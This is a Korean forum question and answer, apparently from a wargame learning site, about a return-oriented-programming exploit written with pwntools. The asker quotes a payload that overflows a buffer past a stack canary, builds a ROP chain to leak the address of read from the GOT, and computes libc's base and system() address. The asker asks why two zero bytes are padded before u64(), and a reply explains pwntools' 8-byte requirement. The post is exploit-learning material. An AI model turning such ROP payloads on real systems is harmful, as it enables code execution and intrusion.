궁금합니다
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
read = u64(p.recvn(6) + b'\x00'*2)
2바이트를 왜 뒤에 추가하는지 이해가 가지 않습니다! 왜 그럴까요?
#시스템해킹
#공격기법
#rop
#return_oriented_programming
작성자 정보
답변
1
st4rlight
바탈리온
pwntools의 u64는 인자가 8byte로 맞춰지지 않으면 에러를 뿜으며 변환을 해주지 않습니다.
[requirements]
u64 -> 8byte
u32 -> 4byte
u16 -> 2byte
u8 -> 1byte
직접 없애보고 익스플로잇을 실행시키면 어떤 의도인지 알 수 있을겁니다!